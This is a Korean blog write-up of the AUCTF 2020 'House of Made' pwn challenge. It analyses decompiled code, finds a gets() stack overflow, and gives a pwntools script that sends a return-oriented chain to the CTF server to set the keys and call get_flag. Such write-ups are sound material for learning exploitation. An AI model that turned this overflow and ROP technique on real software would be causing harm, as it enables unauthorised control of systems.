AUCTF2020] House of Made

노션으로 옮김·2020년 4월 6일
1

wargame

목록 보기
37/59
post-thumbnail

문제

문제파일을 실행해보자.

방 목록을 확인하고, 접속하고, 그 방의 정보를 확인할 수 있다.


풀이

코드 분석

IDA로 프로그램 코드를 확인해보자.

void __noreturn game()
{
  signed int room; // eax@4
  char menu; // [sp+Fh] [bp-9h]@1

  while ( 1 )
  {
    ::menu();
    menu = get_input((int)"Your choice: ");
    puts("\n");
    if ( menu == 49 )
    {
      puts("You can go into:\n Room 1\n Room 2\n Room 3\n Room 4\n");
      goto LABEL_29;
    }
    switch ( menu )
    {
      case '2':

main에서 이 game 함수를 실행하게 된다.
처음에 menu 번호를 입력받으며,

    switch ( menu )
    {
      case '2':
        room = (char)get_input((int)"Choose a room to enter: ");
        if ( room == '4' )
        {
          isInRoom1 = 0;
          isInRoom2 = 0;
          isInRoom3 = 0;
          isInRoom4 = 1;
        }
        else
        {
			...
            ...
            ...
        }

입력된 menu 번호가 2번일 경우 접속할 방을 선택하게 되는데 방 번호마다 변수가 존재하고, 선택된 방의 변수 값을 1로 설정한다.

      case '3':
        if ( isInRoom1 )
        {
          puts("Hello, this is just a plain old room. Poke around the others");
        }
        else if ( isInRoom2 )
        {
          puts("Hola como estas esta habitaci처n es espa챰ol");
        }
        else if ( isInRoom3 )
        {
          puts("Have you tried ALL the options?");
        }
        else if ( isInRoom4 )
        {
          room4();
        }

그리고 입력된 menu 번호가 3번일 때, 해당 방의 정보를 출력하게 되는데 4번방일 경우 room4라는 새로운 함수를 호출한다.

Buffer Overflow

room4 함수를 확인해보자.

char *room4()
{
  char *result; // eax@3
  char s1; // [sp+0h] [bp-28h]@4
  char s; // [sp+10h] [bp-18h]@3

  puts("Wow this room is special. It echoes back what you say!");
  while ( !unlockHiddenRoom4 )
  {
    printf("Press Q to exit: ");
    fgets(&s1, 16, stdin);
    remove_newline(&s1);
    printf("\tYou entered '%s'\n", &s1);
    result = (char *)strcmp(&s1, "Q");
    if ( !result )
      return result;
    if ( !strcmp(&s1, "Stephen") )
      unlockHiddenRoom4 = 1;
  }
  puts("Welcome to the hidden room! Good Luck");
  printf("Enter something: ");
  return gets(&s);
}

여기서 취약점을 확인할 수 있다.
값을 반환할 때 gets(&s)를 실행하며 스택오버플로우가 발생한다.

이 구문을 실행시키기 위해선 앞선 while 루프에서 Stephen을 입력해서 반복문을 빠져나와야 한다.

그러면 구문을 실행하여 RET를 조작할 수 있다.

get_flag

페이로드를 쉽게 작성하기 위해 system 등의 함수가 존재하는지 함수목록을 확인했다.

친절하게 get_flag라는 함수를 제공해주었다.

int get_flag()
{
  int result; // eax@8
  char s; // [sp+Ch] [bp-5Ch]@8
  FILE *stream; // [sp+4Ch] [bp-1Ch]@1

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("'flag.txt' missing in the current directory!");
    exit(0);
  }
  if ( key1[0] && key2 && !strcmp(key3, "Dormammu") && !__PAIR__(key4 ^ 0x616E6765u, dword_405C ^ 0x537472u) )
  {
    fgets(&s, 64, stream);
    result = printf("Damn you beat the house: %s\n", &s);
  }
  else if ( key1[0] && key2 && !strcmp(key3, "Dormammu") )
  {
    result = printf("Surrender, Stephen. Surrender to the reverser");
  }
  else if ( key1[0] && key2 )
  {
    result = puts("You think you are ready? You are ready when the relic decides you are ready.");
  }
  else
  {
    result = printf("It's not going to be that easy. Come on");
  }
  return result;
}

하지만 바로 flag를 출력해주지는 않았다.
다음의 조건을 맞춰주어야 한다.

(key1[0] && key2 && !strcmp(key3, "Dormammu") && !__PAIR__(key4 ^ 0x616E6765u, dword_405C ^ 0x537472u)

key1key2가 존재하고 key3의 값이 Dormammu여야하며 key4, dword_405C의 값이 위의 헥스값이어야 한다.

get_pc에 대한 stackoverflow

PAIR에 대한 stackoverflow

다행히 문제에서 조건에 키를 설정해주는 함수들 또한 제공해주고 있다.

get_key1

int __cdecl get_key1(int a1)
{
  int result; // eax@1

  result = _x86_get_pc_thunk_ax() + 10518;
  if ( isInRoom[result - 0x4000] == 1 || a1 != 0xFEEDC0DE )
  {
    if ( isInRoom[result - 0x4000] == 1 )
    {
      if ( isInRoom[result - 0x4000] )
        result = puts(&aHahaThisHouseI[result - 0x4000]);
      else
        result = puts(&aNeedToGetTheRi[result - 0x4000]);
    }
    else
    {
      result = puts(&aYourVeryCloseT[result - 0x4000]);
    }
  }
  else
  {
    key1[result - 0x4000] = 1;
  }
  return result;
}

설정해야할 key1의 값은, 인자 a10xFEEDC0DE 일 때 1이 저장된다는 것을 알 수 있다.

get_key2

int get_key2()
{
  int result; // eax@2

  if ( key1[0] == 1 || (result = strcmp(key3, "Dormammu")) != 0 )
    result = puts("Need to get the right keys. Reverse the house harder");
  else
    key2 = 1;
  return result;
}

key2의 값을 설정하는데 key1의 값이 1이 아니고, key3Dormammu 값일 때 1을 저장한다.

get_key1보다 get_key2가 먼저 실행되야하며, 실행 전에 key3이 설정되어 있어야 한다는 사실도 유추할 수 있다.

AAsDrwEk

int AAsDrwEk()
{
  int result; // eax@1

  result = _x86_get_pc_thunk_ax() + 10283;
  (&key3)[result - 0x4000] = &aDormammu[result - 0x4000];
  return result;
}

key3Dormammu 값을 저장한다.

set_key4

int set_key4()
{
  int result; // eax@4

  if ( isInRoom[0] != 1 && key1[0] && key2 && (result = strcmp(key3, "Dormammu")) == 0 )
  {
    key4 = 0x616E6765;
    dword_405C = 0x537472;
  }
  else
  {
    result = puts("Need to get the right keys. Reverse the house harder");
  }
  return result;
}

조건이 다음과 같을 때 key4, dwowrd_405C가 설정된다.(설명은 생략)

 isInRoom[0] != 1 && key1[0] && key2 && (result = strcmp(key3, "Dormammu")) == 0 

페이로드

위 내용을 종합하여 코드를 작성한다.
파이썬을 이용하였다.

from pwn import *

#p = process('challenge')
p = remote('challenges.auctf.com', 30012)

print p.recvrepeat(0.2)

p.sendline('2')

print p.recvrepeat(0.2)
p.sendline('4')

print p.recvrepeat(0.2)

p.sendline('3')

print p.recvrepeat(0.2)

p.sendline('Stephen')

print p.recvrepeat(0.2)


addr_getKey1 = 0x565566de 
argu_getKey1 = 0xFEEDC0DE
addr_popret = 0x5655601e

addr_getKey2 = 0x5655676e

addr_setKey3 = 0x565567cd
addr_setKey4 = 0x565567e9

addr_getFlag = 0x5655686b

#only local
#raw_input('Waiting for debugging ::: ' + str(p.pid))

p.sendline('a'*(0x18+4)+p32(addr_setKey3)+p32(addr_getKey2)+p32(addr_getKey1)+p32(addr_popret)+p32(argu_getKey1)+p32(addr_setKey4)+p32(addr_getFlag))

p.interactive()

주의할 점은 get_key1에서 요구하는 인자를 전달해야 하는 것이고, 이 인자값을 정리하기 위해 ppret 가젯을 사용했다.

0개의 댓글